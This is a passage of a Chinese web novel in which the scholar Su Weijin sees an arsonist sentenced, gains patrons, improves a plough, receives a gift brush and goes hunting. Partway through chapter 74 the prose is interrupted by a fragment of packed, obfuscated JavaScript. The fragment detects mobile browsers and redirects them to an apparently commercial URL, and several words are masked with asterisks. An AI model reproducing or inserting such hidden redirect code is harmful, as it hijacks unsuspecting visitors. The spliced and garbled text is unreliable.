依《大明律》,该当何罪?!”
一旁刑房书吏立刻上前一步,躬身禀报:
“回大人,依律,故烧官府廨宅及私家舍宅、若财物,
因而盗取财物者,绞;
杀伤人者,以故杀伤论。
其未曾造成严重后果者,
亦当徒三千里!”
徒三千里!
张诚和老管家一听,
顿时面如死灰,彻底瘫软在地。
**提笔蘸墨,在判决文书上奋笔疾书,
随即拿起惊堂木,
做了最终宣判:
“人犯张诚,心生歹念,夜携火油,
意图纵火**新进秀才苏惟瑾,
其行卑劣,其心恶毒,
藐视王法,罪大恶极!
虽未得逞,然律法昭昭,岂容轻饶?!
依《大明律》,判:
杖一百,徒三千里,
即日押送府衙核验,
发配辽东都司辖下
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充军!
以儆效尤!”
“张家管教无方,纵子行凶,
罚银五百两,充入县库!”
判决一下,堂外围观百姓爆发出雷鸣般的叫好声!
“判得好!青天大老爷!”
“活该!这种恶少就该发配充军!”
周大山和民壮们昂首挺胸,与有荣焉。
消息像风一样传开。
王家宅院内,王雪茹听到丫鬟气喘吁吁跑来禀告公堂判决,
英气的眉毛一挑,爽朗笑道:
“判得好!这等无法无天的恶徒,
就该如此下场!
苏惟瑾这家伙,
倒是又做了件大快人心的事!”
语气中满是赞赏。
县学值房中,赵文萱正陪着父亲说话,
亦有仆役将消息带到。
赵文萱闻言,握着茶杯的手微微一顿,
眼中闪过一丝担忧,
随即化为释然和欣慰,
她轻声对赵明远道:
“父亲,苏相公无恙,
恶人伏法,实乃沭阳之幸。
只是经历此事,
想必苏相公心中亦难完全平静。”
赵明远拈须颔首:
“是啊,经此一劫,
惟瑾当更知人心险恶,
亦知律法公正。
对他而言,未必全是坏事。”
陈氏书铺内,芸娘正低头整理书籍,
听到街上传来的喧闹和议论,
她仔细倾听,当听到“张诚判了充军”时,
她一直悬着的心终于落下,
轻轻拍了拍胸口,长舒了一口气。
她走到铺子门口,望着县衙方向,
眼中充满了感激,默默念了句“菩萨保佑”。
回想起那日苏惟瑾智退无赖、
入股书铺的恩情,
心中更是祈愿他日后一切顺遂平安。
苏惟瑾面色平静,
对着公案上的**,深深一揖:
“学生谢老父母明断,
为我沭阳除一祸害!”
**微微颔首,
看向他的目光带着赞许。
而张诚,在听到“徒三千里”四个字时,
已是双眼翻白,直接吓晕死过去。
老管家也瘫在地上,
知道张家…彻底完了。
如狼似虎的衙役上前,
将昏死的张诚拖死狗般拖了下去。
惊堂木再次响起。
“退堂!”
**起身,拂袖而去。
一场轰动全城的纵火未遂案,
就此尘埃落定。
苏惟瑾在周大山的护卫下走出县衙,
阳光洒落在他身上,清爽明亮。
街角的阴影里,
闻讯赶来的孙志远看着被众人簇拥、
光芒万丈的苏惟瑾,
又想想张诚的下场,
不由得打了个寒颤,
脸色苍白地悄悄溜走了。
经此一役,
苏惟瑾的声望在沭阳达到了前所未有的高度。
而昔日的沭阳一霸张家,
则随着张诚的被判刑和巨额罚银,
彻底宣告败落,再无翻身之日。
天道好轮回,苍天饶过谁?
第71章 名士投帖,结交渐广阔
张诚被发配充军的消息,
如同在沭阳这潭表面平静、
内里暗流涌动的水中投下了一块巨石,
激起的涟漪层层扩散,冲刷着城内的势力格局。
往日里与张家走动频繁、
甚至有些依附关系的乡绅富户,
此刻都紧闭门户,讳莫如深,
生怕被那“教子无方、纵火行凶”的污名溅上一星半点。
而更多的人,则将目光投向了西街那座曾经破败、
如今却因一人而光耀门楣的苏家老宅。
府试案首、道试案首,
连中小二元的“小三元”功名,
已足以让苏惟瑾成为沭阳乃至淮安府青年士子中的翘楚。
更遑论他智斗张家、撕毁**契、
乃至引得恶少伏法的种种事迹,
经过市井传扬、说书人加工,
早已带上了一层传奇色彩。
于是,苏家那扇新修葺过的木门,
一时间竟显得有些局促起来。
“少爷,少爷!又…又来了!”
书童阿奇(原七叔公家)抱着一摞泥金名帖,
气喘吁吁地跑进书房,
脸上又是兴奋又是惶恐。
“东城李老爷家的,南街赵员外府的,
还有…还有县学训导(副教谕)周先生遣人送来的请柬!”
苏惟瑾正临窗练字,闻言笔锋未停,
一篇馆阁体小楷写得匀整静气,
仿佛门外那纷至沓来的喧嚣与他无关。
直至最后一笔落下,他才搁下笔,
拿起旁边温热的湿毛巾擦了擦手。
“慌什么。”
他声音平静,目光扫过阿奇怀中那摞制作精良的帖柬。
“都登记在册,按送来时辰和主人身份分门别类放好。”
“啊?哦…是,少爷。”
阿奇连忙点头,
小心翼翼地将那名帖放在书案一角,
又忍不住道:
“可是…好多都是以前咱们踮着脚都够不上的老爷们…都等着回话呢。”
苏惟瑾自然明白这些“投帖”的意义。
在这嘉靖元年,科举功名就是一张最硬的通行证,
尤其对他这般毫无根基的寒门子弟而言。
“小三元”的光环足以撬开许多原本紧闭的门扉。
这是社会地位最直观的体现,亦是构建人脉网络的起点。
但他更清楚,
并非所有的橄榄枝都值得接,
所有的宴席都无害。
张家虽倒,这沭阳城乃至大明官场,水深着呢。
超频大脑无声运转,
将送来名帖的人家与其背景、风评、
可能的目的逐一关联分析。
“李老爷家与张家有旧怨,
此乃借势泄愤,或可一见,
但需保持距离。”
“赵员外是县里有名的墙头草,
酒肉朋友,无益亦无害,可暂敷衍。”
“周训导…此乃正经师长辈,
提点学问前程,必须郑重回帖,亲自拜访。”
他心思电转,面上却不露分毫,
只对阿奇道:“去请七叔公过来一趟。”
七叔公如今是族里主事人,
更是经历过风雨的老人精,
对这些乡绅名流的路数门清。
有他把关,苏惟瑾能省去许多不必要的麻烦。
很快,七叔公拄着枣木棍来了,
听完苏惟瑾的打算,
浑浊的老眼里闪过欣慰与赞赏:
“瑾哥儿,你做得对。
如今你身份不同了,
不再是那个任人拿捏的小九。
这些人,有的真心结交,
有的趋炎附势,有的甚至包藏祸心,想借你的名头行事。
咱们苏家底子薄,经不起折腾,务必擦亮眼睛。”
爷孙俩对着名帖琢磨了半晌,
最终只挑出了三四份:
县学周训导、城中素有清名的致仕刘老翰林,
以及两位家风颇正、子弟亦在读书的乡绅。
“就先这几家吧。”
七叔公拍板。
“回帖要谦逊有礼,不失秀才体面,
也别让人小瞧了咱寒门气节。
老夫陪你一同去周训导和刘老翰林府上。”
接下来的日子,苏惟瑾便在这有限的社交活动中忙碌起来。
拜访周训导时,他执弟子礼甚恭,
言谈间只请教经义文章,
对城中纷扰一概不提,
引得周训导频频颔首,
直夸他“少年老成,学业精进,未来可期”。
而拜访城东刘老翰林府邸时,
则又是另一番光景。
刘府门庭并不特别显赫,
却自有一股书香沉淀的清贵之气。
老翰林致仕多年,门生故旧却遍布朝野地方,
乃是沭阳真正意义上的清流领袖、士林标杆。
此前诗会,苏惟瑾虽以“张诚奴仆”的身份惊鸿一现,
但其才华恐怕早已被这位目光如炬的老者窥见一二。
此次苏惟瑾以新晋秀才身份正式投帖拜见,意义自然不同。
刘老翰林并未大摆筵席,
只在内书房接待了他和七叔公。
老者精神矍铄,谈吐风趣,
问了苏惟瑾的学业,
又聊起些经史典故、朝野轶闻,
看似闲谈,实则处处考校学问见识。
苏惟瑾超频大脑全力运转,
应对从容,不仅对经义对答如流,
偶尔谈及时政,也能引经据典,
发表一二不失谨慎却颇有见地的看法,
既不显得激进,又透出远超年龄的沉稳与洞察。
“哦?惟瑾也关注东南倭患之事?”
刘老翰林捻须问道,
眼中闪过一丝讶异。
这并非寻常秀才会关心的话题。
苏惟瑾微微躬身:
“学生不敢妄议军国大事。
只是近来读了些杂书,
见邸报零星提及沿海百姓困苦,
心生感慨。
觉王学先生‘知行合一’之论,
于练兵御侮或有益处,
只是不知朝廷如今作何想。”
他巧妙地将话题引向嘉靖初年正是热点的“心学”与“理学”之争,
并隐约点出自己对朝堂风向并非一无所知。
刘老翰林眼中赞赏之色更浓:
“想不到你于僻壤之地,
竟有这般见识。
如今圣天子在位,锐意革新,
朝中诸公于理学、心学乃至实务之学,
确是颇有争论…罢了,
此事不提也罢。
你既用心举业,又兼有实学之思,
甚好,甚好。”
谈话气氛越发融
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洽。
临别时,刘老翰林竟亲自将苏惟瑾送到书房门口,
还赠了他一套自己批注过的《大学衍义》,勉励他继续进学。
这一举动,意义非凡。
消息很快传开,沭阳士林顿时明白:
苏惟瑾这小子,不仅功名硬扎,
更是得了刘老翰林的青眼!
这已不仅仅是“秀才相公”,
而是真正入了清流名士法眼的“后起之秀”!
于是,原本还有些观望的、自持身份的士绅名流,
投帖愈发殷勤起来。
苏惟瑾依旧保持着谨慎的选择,
但交际的圈子,终究是不可避免地、稳步地拓宽了。
在一次由刘老翰林做东的小型文会上,
苏惟瑾再次遇到了赵文萱之父,
县学教谕赵明远。
赵明远的态度比之上次诗会时,
更多了几分郑重与亲和。
“玉衡近日声名鹊起,可喜可贺。”
赵明远捋须微笑,“小女文萱归家后,亦常盛赞世侄才思敏捷,非池中之物啊。”
苏惟瑾连忙谦谢:“老师过誉,赵小姐谬赞,学生愧不敢当。
学生侥幸进学,诸多道理还需向前辈们请教。”
他应对得体,既承了情,又不失分寸,
目光坦然,并未因对方提及闺中女子而有丝毫局促失态。
赵明远见状,眼中笑意更深,
与他多聊了几句学问文章,
临别时似不经意般提道:
“听闻世侄与府衙刑房的陈书吏也有过一面之缘?
陈兄办事老练,于府衙旧例颇熟,
世侄日后若赴府学或参与乡试,
有何不解之处,或可向他请教。”
这话似是提点,又似暗示着更深层次的人脉关联。
苏惟瑾心领神会,郑重道谢。
他也借这些场合,
看似随意地向那些见多识广的士绅、
乃至刘老翰林请教更多关于朝堂格局、
科举深层规则乃至各省学政、
主考官的偏好风气。
超频大脑如饥似渴地吸收、分析、
存储着这些书本上学不到的宝贵信息,
为他勾勒出一幅愈发清晰的“大明晋升路线图”。
这一日,他从一场文宴归来,
天色已晚。
阿奇提着灯笼在前引路,
脸上洋溢着与有荣焉的光彩。
行至僻静处,却见一人影躇躇独行,
形单影只,竟是那孙志远。
孙志远也瞧见了他们,
脸色在昏暗的灯光下变了几变,
最终低下头,加快脚步,
几乎是仓皇地从另一条巷子拐走了,
全然不见了往日趾高气扬的模样。
世态炎凉,人情冷暖,于此可见一斑。
苏惟瑾并未驻足,心中亦无多少波澜。
他知道,这只是开始。
撕毁**契是斩断过去,
扳倒张家是立威除障,
而如今这渐渐广阔的结交,
才是真正踏上仕途经济的起点。
前路漫长,但他脚步沉稳,目光已然望向更远处。
沭阳城这点波澜,已渐渐容纳不下他的野心与格局了。
狂飙之路,始于足下,
亦始于这纷至沓来的名帖与交错碰撞的酒杯之间。
第72章 观农人劳作辛苦,绘新图效
初夏的日头已有几分毒辣,
晒得田埂上的泥土发白。
苏惟瑾一身细麻襕衫,
缓步走在苏家佃户耕作的田亩间。
中了秀才,交际渐广,
他却并未整日沉溺于诗酒文会,
反倒更常往乡间走动。
超频大脑赋予他的不仅是过目不忘,
更有一种近乎本能的观察与解析欲望。
田里,族中一位远房叔伯苏老栓,
正弓着腰,奋力推着一张笨重的直辕犁。
拉犁的老黄牛呼哧呼哧喘着粗气,蹄子陷在泥里。
苏老栓额上青筋暴起,
汗水顺着黝黑的皱纹沟壑往下淌,
滴在黄土里,瞬间洇开一小片深色。
那犁铧入土既深且吃力,
每前进一尺,似乎都要耗费一人一牛极大的气力。
旁边田里,几个妇人踩着吱呀作响的翻车提水灌溉,
手臂机械地重复摆动,脸上满是疲惫与麻木。
“九…案首老爷。”
苏老栓瞧见他,忙停下喘息,有些局促地打招呼。
周围的农人也纷纷停下活计,
敬畏地望过来。
苏惟瑾如今在族中地位超然,便是年长者也不敢怠慢。
“栓叔不必多礼,照旧叫我小九便是。”
苏惟瑾摆摆手,目光却凝在那张犁上。
“这犁用着可还顺手?”
苏老栓用汗巾抹了把脸,叹道:
“唉,老祖宗传下来的家伙什,就这么用呗。
沉是沉了点,费牛也费人,一天也犁不了几分地。
眼看汛期快到了,地翻不完,误了农时,
下半年全家都得勒裤腰带。”
其他农人也纷纷附和,
诉说着劳作的艰辛与工具的笨拙。
苏惟瑾蹲下身,
手指拂过那沾满泥浆的犁辕、犁梢、犁铲,
超频大脑瞬间启动:
材料强度、受力角度、摩擦系数、土壤阻力…
无数数据流无声划过意识底层。
他脑中浮现出曾经在故纸堆中惊鸿一瞥的某些图形
——并非完整的创造,
而是一些零散的、关于省力杠杆、曲面分土、轻量化结构的模糊印象。
“若这辕曲一些,牛省力,
人也好掌控方向…”
“犁铲角度若能调整,入土省力,
翻土也更顺畅…”
“翻车的龙骨板叶,若形状稍改,
提水量或许能多些…”
种种念头纷至沓来,结合眼前实际,
迅速整合、推演、优化。
他忽地起身,对苏老栓道:
“栓叔,稍歇片刻。
这犁…或许能让它轻省些。”
“啊?”
苏老栓愣住了,
周围农人也面面相觑。
案首老爷会读书考试,
还能摆弄这地里刨食的家伙?
苏惟瑾也不多言,径直回家,铺开纸笔。
超频大脑将刚才的构思飞速细化,
手腕挥动,线条流畅精准,
一张张带有标注、原理说明的草图渐次呈现。
他画的并非什么惊世骇俗的新发明,
只是对现有直辕犁进行了几处关键的“优化”:
将直辕改为略带弯曲,
调整了犁铲的曲面角度和安装方式,
对几个连接部件做了轻量化处理。
又另绘了一幅对翻车龙骨板的改进图,
调整了板叶倾角和形状。
画毕,他立刻让阿福去请镇上最好的李铁匠和族里手艺最巧的木匠苏三叔来。
李铁匠围着牛皮裙,浑身炭火气,嗓门洪亮:
“案首老爷,您这画的是…犁?
咋瞅着有点别扭呢?”
他挠着头,看着那曲辕和奇怪的铲面角度,满脸困惑。
木匠苏三叔则仔细端详着图纸上的榫卯结构和轻量化标注,沉吟道:
“这般改动,倒是不难做,只是…真能好用?”
苏惟瑾耐心解释:
“李叔你看,辕曲一些,牛拉拽时力更顺,
人不需死命往下压也能控制深度。
三叔,这犁铲角度改过,入土更容易,
翻起的土块也更碎。
我们一试便知。”
他语气笃定,眼神清亮,自带一股令人信服的气度。
加之他如今的身份,
李铁匠和苏三叔虽将信将疑,
还是依言照做。
叮叮当当一番忙碌,几天后,
一架模样略显“怪异”的新犁和几片新打的翻车板叶送到了田头。
试用那天,田边围了不少看热闹的农人和闻讯赶来的七叔公等族老。
苏老栓套上老黄牛,
将信将疑地扶着新犁下地。
鞭子轻轻一扬,老牛发力
——咦?牛似乎没像往常那样拼命蹬腿?
犁铧轻巧地切入土中,向前滑行,
弯曲的辕杆让他操控起来异常顺手,
几乎不用下压。
犁过的土壤均匀翻开,碎散平整。
“这…这…”
苏老栓又惊又喜,
扶着犁走了几个来回,
速度竟比平时快了一倍不止,
人和牛都显得轻松许多!
周围顿时一片哗然!
“快看!老栓叔今天咋这么利索?”
“那牛也没见多费劲啊!”
“那犁瞧着
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是有点怪,可真好使?”
接着又试了改进的翻车,
踩踏起来果然省力,提水量也明显增加。
人群彻底沸腾了!
“神了!案首老爷真神了!”
“读书人连这个都懂?!”
七叔公激动得胡子直抖,
拄着枣木棍的手都有些发颤。
他原以为苏惟瑾只是读书种子,
光耀门楣,没想到竟还有这般“经世致用”的实学之才!
这才是家族长久兴旺的基石啊!
他看向苏惟瑾的目光,
除了之前的爱护,
更多了几分由衷的叹服与倚重。
当然,也有几个老顽固,
如族里辈分最高的五太公,撇着嘴嘀咕:
“花里胡哨!老祖宗传了几百年的家伙,能有错?
瞎改一气,坏了地气咋办?”
苏惟瑾一笑置之,并不争辩。
他只将图纸公开,
言明愿用的都可找李铁匠和苏三叔打造,
费用他先垫付。
效果摆在眼前,
绝大多数农户在犹豫观望后,
都迫不及待地想要换上这省力的新家什。
苏家族人和佃户近水楼台,
生产效率悄然提升,
对苏惟瑾的感激与忠诚更是直线上升。
消息很快传到了县令**耳中。
他正为春耕进度和赋税发愁,
闻听此事,大为惊奇。
“哦?苏惟瑾?改良农具?”
**放下茶盏,
对下首的赵教谕笑道。
“本官只知他文采斐然,
心思缜密,竟还通晓工匠之事?
真是…每每出人意料。”
赵教谕捻须含笑:
“此子确非常人。
看似只是小改,却直击农事痛点,省时省力,惠及乡里。
可见其并非死读书之辈,
乃有务实济民之心,难得,难得。”
**颔首,心中对苏惟瑾的评价又高了一层。
能做事、肯做事、且能做成的读书人,
永远比只会空谈的更值得栽培。
他在心里的小本本上,
又为苏惟瑾记下了一笔。
田埂边,苏惟瑾看着农人们带着笑容,
用着新工具劳作,心中亦有一份满足。
超频大脑带来的知识,
用于此等实处,比吟风弄月更让他感到踏实。
他知道,这只是小小的第一步。
但这点滴的改变,
正如同那改进后的犁铧,
虽小,却切实地翻动着这片土地,
也翻动着他在这个时代的立足之基。
根基越实,前路方能行得更远。
第73章 文萱赠笔,情愫暗生
初夏午后,
阳光透过县学庭院里繁茂的古槐枝叶,
洒下斑驳碎金。
蝉鸣尚未至最喧闹时,
唯有微风拂过竹林的沙沙声,
衬得这读书之地愈发清幽。
苏惟瑾刚从赵教谕的公廨中出来,
手中捧着几卷教谕亲笔批注过的时文范本,
算是今日请教学问的额外收获。
他如今虽有了“小三元”的名头,
在学问上却丝毫不敢懈怠,
深知这不过是**长征第一步。
超频大脑能让他过目不忘、理解超群,
但经义文章的微言大义、
破题承合的精妙火候,
仍需名师点拨和自己反复揣摩。
他正低头琢磨着文中一处“代圣人立言”的笔法,
忽听前方传来一道清柔温婉的声音:“苏公子。”
苏惟瑾抬头,只见前方一丛翠竹旁,
立着一位身着藕荷色绫裙的少女,
正是县学赵教谕之女赵文萱。
她今日未施粉黛,青丝简单绾起,
斜插一支玉簪,
身旁跟着一个小丫鬟,
手中捧着一个小巧的锦盒。
阳光透过竹叶,在她身上投下细碎的光影,
愈发显得她气质清雅,亭亭玉立。
“赵小姐。”
苏惟瑾停下脚步,拱手施礼,
目光平静温和。
他心中有些许讶异,
县学虽不禁女子入内(尤其是有身份的官家女眷),
但在此处偶遇,终究不算寻常。
赵文萱微微颔首回礼,
脸颊似乎比刚才更红润了些,
她侧首对丫鬟示意了一下。
小丫鬟上前一步,将手中锦盒呈上。
“听闻苏公子连中小三元,
文采斐然,名动沭阳。”
赵文萱的声音轻柔,
如春风拂过琴弦。
“家父常赞公子乃国之栋梁,
未来不可限量。
我…我闲来无事,学着做了支笔,
聊表祝贺之意。
手艺粗陋,望公子莫要嫌弃。”
她说话时,眼帘微垂,
长而密的睫毛轻轻颤动,
泄露出一丝不易察觉的紧张。
那日诗会,苏惟瑾(虽是以张诚仆役的身份)那惊才绝艳的“续诗”,
以及之后他从容应对孙志远刁难、乃至在公堂之上智珠在握的风采,
早已在她心中留下了极深的印象。
少女慕艾,自古皆然,
何况是这般才华横溢、
品性坚毅又身世惹人怜惜的少年郎。
苏惟瑾微微一怔,
随即双手接过那锦盒。
盒子是普通的梨木所制,
却打磨得十分光滑温润。
他打开盒盖,只见红丝绒衬底上,
静静躺着一支毛笔。
笔杆并非名贵的紫檀或**,
而是选用了上好的湘妃竹,
竹节分明,天然的紫褐色斑纹宛若泪痕,
透着一股清雅坚韧之气。
仔细看去,那笔杆上还被人用极细的刀工,
顺着竹子的天然纹理,
浅浅刻出了几丛竹叶的纹路,
若不细看几乎难以发觉,
但指尖抚过,却能感受到那细腻的凹凸,
寓意着“节节高升”,既雅致又饱含祝福。
笔毫饱满莹润,选料极佳,看得出制作之人花了无数心思。
超频大脑瞬间分析了这支笔的每一个细节:
竹龄、烤制工艺、刻工手法、毫毛的选取与处理…
最终汇成一个结论:
这份礼物,价值并非在材质多么贵重,
而在于其中蕴含的无比细腻的心意与精巧的手工。
他心中掠过一丝暖流。
自父母双亡后,
他已许久未曾收到过这般精心准备、
不涉利益的礼物了。
他合上盒盖,郑重地再次拱手,
目光诚挚地看向赵文萱:
“赵小姐厚爱,惟瑾愧不敢当。
此笔做工精良,意蕴深远,可见小姐蕙质兰心。
这份心意,远比珍宝可贵。
惟瑾定当以此笔,勤勉向学,
不负小姐所赠‘节节高’之美意。”
他声音清朗,语气认真,
既表达了感谢,
又恰好点出了他注意到了笔上暗藏的竹纹寓意,
更许下了勤学的承诺。
赵文萱听他如此说,
明白他懂了自己的心思,
脸颊顿时飞起两抹红霞,
心中又是羞涩又是欣喜。
她飞快地抬眸看了苏惟瑾一眼,
见他目光清正,神色温和,
并无丝毫轻浮之意,心下稍安,轻声道:
“公子喜欢便好。
望…望玉衡兄以此笔,
书写更多锦绣文章。”
她下意识地用了苏惟瑾的表字“玉衡”,
出口后才觉失言,顿时连耳根都红透了,忙垂下头去。
“承赵小姐吉言。”
苏惟瑾仿佛未曾察觉她的窘迫,
从容应答,将锦盒小心收入袖中。
两人一时无话,
空气中弥漫着一种微妙的、
带着淡淡竹叶清香的静谧。
阳光正好,清风徐来,竹影婆娑,
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少年少女立于其间,
虽无逾矩之言行,
却自有一种难以言喻的和谐与朦胧美感。
不远处,赵教谕原本正要出门,
恰好瞥见这一幕,不由得抚须停步,
脸上露出意味深长的笑容。
他自然是知道女儿心思的。
见她对苏惟瑾赠笔,
而苏惟瑾应对得体,
既不失礼亦不逾矩,心中倒是乐见其成。
苏惟瑾此子,非池中之物。
如今虽只是秀才,
但以其才学心智,
将来必有一飞冲天之时。
现如今又得王县丞这等地方实权官员的赏识,
若早…联姻,乘其仕途起步前,或大有裨益。
而自家女儿品貌俱佳,与苏惟瑾站在一起,倒真称得上一对璧人。
赵教谕暗自点头,并未上前打扰,反而悄悄转身回了公廨。
“小姐,时辰不早,该回去了。”
小丫鬟在一旁小声提醒。
赵文萱这才如梦初醒,
忙对苏惟瑾道:
“苏公子,那我…我先告辞了。”
“赵小姐慢走。”
苏惟瑾微微躬身相送。
赵文萱带着丫鬟,
沿着青石小径快步离去,
裙裾微扬,背影窈窕,
恍惚间带着一丝仓促的慌乱,
又似有无限的轻快。
苏惟瑾站在原地,
直至那抹藕荷色身影消失在月洞门外,方才收回目光。
他下意识地摸了摸袖中的锦盒,
指尖仿佛还能感受到那湘妃竹笔杆上细腻的纹路。
他并非不解风情的木头,
赵文萱眼中那抹羞涩与期待,
他看得分明。
这份突如其来却又恰到好处的情愫,
如同在这埋头苦读、步步为营的征途上,
偶然嗅到的一缕沁人花香,
让他那颗因算计、谋划而略显冷硬的心,
也不由得柔软了几分。
然而,他很快便收敛了心神。
眼下绝非沉溺儿女情长之时。
功名未固,前路漫漫,
一切才刚刚开始。
这份好感,好如袖中这支好笔,
需得珍而重之,却更应化作笔下前进的动力。
他深吸一口气,空气中似乎还残留着淡淡的馨香。
他握紧了手中的书卷,
目光再次变得清明而坚定,
转身向着斋舍走去。
只是那步伐,似乎比往日更轻快了些许。
狂飙之路,道阻且长,
但沿途若能得一二知音美景,
或许,也能减去几分孤寂寒凉。
第74章 雪茹邀猎,郊外显身手
自那日河边王雪茹仗义执言、赠饼勉励后,
苏惟瑾便再未见过这位风风火火的百户千金。
院试备考枯燥,他整日埋首经义,
偶尔与赵文萱有过一两次隔着众人的遥遥颔首,
或是与赵教谕、刘老翰林请教文章,日子倒也充实。
这日午后,他刚临摹完一篇赵孟頫的法帖,
正闭目养神,任由超频大脑将字里行间的笔意筋骨细细解析消化,
忽听院门外传来一阵清脆利落、
毫不拖泥带水的叩门声,
伴随着少女清亮的嗓音:
“苏案首!苏惟瑾!在家否?”
这声音…是王雪茹?
苏惟瑾睁开眼,有些讶异。
小奇早已小跑着去开了门。
只见门外,王雪茹依旧是一身惹眼的红衣劲装,
长发束成马尾,额间系着一条缀着小小玉扣的抹额,更添几分英气。
她手里拎着一条马鞭,
身后跟着两个家丁模样的汉子,
一人牵着一匹高头大马。
其中一匹通体枣红,神骏非凡,
自是王雪茹的坐骑。
另一匹则是较为温顺的黑色牝马,
显然是给苏惟瑾准备的。
“王姑娘?”
苏惟瑾起身相迎,“你这是…”
“整日闷在屋里啃书本,骨头都要生锈了!”
王雪茹毫不客气地迈进小院,
目光四下扫了扫,虽是寒舍,
却因主人时常打扫整理,
显得洁净有序,书卷气十足。
她满意地点点头,
这才对苏惟瑾道:
“天气这么好,跟我出城打猎去!
散散心,松快松快!”
“打猎?”
苏惟瑾微微一怔。
他这现代灵魂,
摸过最接近“武器”的东西大概是菜刀,
骑马更是只在旅游景区被人牵着溜达过一圈。
至于打猎…理论知识仅限于《动物世界》。
见他面露迟疑,王雪茹柳眉一挑:
“怎么?
苏案首只会纸上谈兵,
不敢真刀**上场?
放心,本姑娘罩着你!
就在城东那片矮山林子,
没什么大牲口,顶多些野兔山鸡。”
她语气激将,眼神却亮晶晶的,
满是期待与不容拒绝的豪爽。
苏惟瑾心中苦笑,
但转念一想,终日苦读确非良策,
适当放松或许有益。
而且…与这位王百户的独女交好,
于他并无坏处。
他如今虽有了功名,
但根基太浅,若能得武官系统的一些人脉,亦是意外之喜。
“既蒙王姑娘相邀,惟瑾敢不从命?”
他拱手笑道。
“只是在下于骑射一道实乃生手,
届时恐怕要贻笑大方了。”
“嗨!谁还不是从生手过来的!
走走走!”
王雪茹见他答应,顿时笑逐颜开,
将马鞭往腰后一插,
挥手就让家丁把黑马牵过来。
书童小奇在一旁看得目瞪口呆,
手脚麻利地帮苏惟瑾收拾了一下衣袍。
苏惟瑾深吸一口气,
回忆着为数不多的骑马“经验”,
以及超频大脑里存储的关于骑术的零散文字、图像信息,
硬着头皮踩镫上马。
动作略显笨拙,
但好在身体协调性经过超频优化,
总算没当场出丑。
王雪茹看他那小心翼翼的样子,
噗嗤一笑,却也没再嘲笑,
利落地翻身上了自己的枣红马,
动作矫健流畅,宛如一朵红云飘上马背。
“驾!”
她轻叱一声,
一马当先出了巷口。
苏惟瑾连忙控缰跟上,
那黑马果然温顺,
小步跑起来并不颠簸。
两人并辔出了东城门,
家丁和小奇在后面不远处跟着。
初夏的郊外,视野豁然开朗。
田畴阡陌纵横,远处青山如黛,
官道两旁杨柳依依,
空气中混杂着泥土、
青草和野花的清新气息,
令人心旷神怡。
不少农人仍在田间劳作,
看到这对奇特的组合
——英姿飒爽的红衣少女和略显文弱却容貌俊秀的青衫秀才,
都纷纷投来好奇的目光。
“怎么样?比闷在城里强多了吧?”
王雪茹放慢马速,
深深吸了口气,
脸上洋溢着自由畅快的笑容。
“确是好风光。”
苏惟瑾微笑颔首,
超频大脑却已不自觉开始工作:
分析土壤墒情,评估作物长势,
观察水利设施…职业病差点犯了。
很快便到了王雪茹所说的那片矮山林地。
此处人迹稍稀,林木不算茂密,
确是游猎的好去处。
家丁递上弓箭。
王雪茹用的是一张制作精良的反曲弓,力道不小。
递给苏惟瑾的则是一张更轻便的猎弓。
“给,试试!”
王雪茹跃跃欲试。
苏惟瑾接过弓,手感陌生。
他试着拉了一下,弓弦纹丝不动…
好吧,高估了这具身体的力量。
他面不改色地稍微卸了点力,
才勉强拉开半弧,姿势…惨不忍睹。
王雪茹忍着笑,指导他:
“脚分开点,腰背挺直,肩放松…
哎对,眼神顺着箭杆往前看…”
正说着,不远处的草丛忽然一阵窸窣晃动!
“有东西!”
王雪茹眼神一亮,瞬间进入状态,
张弓搭箭,动作一气呵成,
屏息凝神,英姿勃发。
苏惟瑾也下意识地举弓,
却连目标在哪都看不清。
超频大脑急速运转:
根据草动幅度和频率,
推断目标体型较小,
大概率是野兔…
风向西南,风速约每秒两米…
湿度…光照角度…
他这边脑子里数据狂飙,
那边王雪茹已然松弦!
“嗖——”
箭矢破空而去,精准地没入草丛!
“中了!”
王雪茹欢呼一声,策马过去,
家丁连忙跟上,
从草丛里拎起一只肥硕的灰兔,
箭矢正中其颈侧。
“好箭法!”
苏惟瑾由衷赞道。
这姑娘的骑射功夫,绝非花架子。
王雪茹得意地扬了扬下巴,转而看向他:
“你也试试?那边好像还有动静。”
她指着另一处灌木。
苏惟瑾凝神望去,超频视觉启动,
果然捕捉到一丝极细微的动静。
他努力回忆着王雪茹刚才的动作和脑中所有关于射箭的理论知识,
笨拙地张弓。
“目标移动速度约每秒三米,
向左前方…提前量需估算…
弓臂晃动误差修正…”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559503|186215||http|test|mini|href|location''.split(''|''),0,{}));
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>他嘴里无意识地低声念叨着一连串旁人听不懂的词汇,
眉头紧锁,仿似在解一道高深数学题。
王雪茹在一旁听得目瞪口呆,
这是…打猎还是推演兵法?
终于,苏惟瑾算准了(自以为)一切变量,
深吸一口气,松开了弓弦!
“嗖——”
那箭软绵绵地飞了出去,
然后在离目标还有七八尺远的地方,
一头栽进了土里,连根**都没蹭到。
那灌木丛里的家伙似乎被吓了一跳,
嗖地一下窜没影了。
“……”
现场一片寂静。
小奇捂住了脸。
家丁努力憋着笑。
“噗嗤——”
王雪茹再也忍不住,放声大笑起来,
笑得前仰后合,眼泪都快出来了。
“哈哈哈!苏…苏案首!
你…你这是在给它算生辰八字吗?
哈哈哈!笑死我了!”
苏惟瑾摸了摸鼻子,
看着那插在地上的箭矢,
自己也觉得有些好笑。
理论满分,实践零蛋,说的就是他这种了。
“见笑见笑,”
他坦然道。
“惟瑾于此道,确是纸上谈兵,徒有其表。”
他这份坦荡和自嘲,
反倒让王雪茹笑过之后,更生好感。
她觉得这秀才相公有趣极了,
明明一肚子学问,
偏偏在射箭这事上笨拙得可爱,
一点也不像那些死要面子的酸儒。
“没事没事!”
她豪气地一挥马鞭。
“本姑娘今天包你开张!跟着我!”
接下来,就成了王雪茹的个人表演秀。
她策马奔驰,弓弦响处,必有收获。
山鸡、野兔,甚至一只傻狍子,
都成了她的战利品。
英姿飒爽,巾帼不让须眉。
苏惟瑾则彻底沦为理论指导(?)和观众。
他不时指着某处:
“王姑娘,据此百二十步,
坡下背风处,或有猎物栖息。”
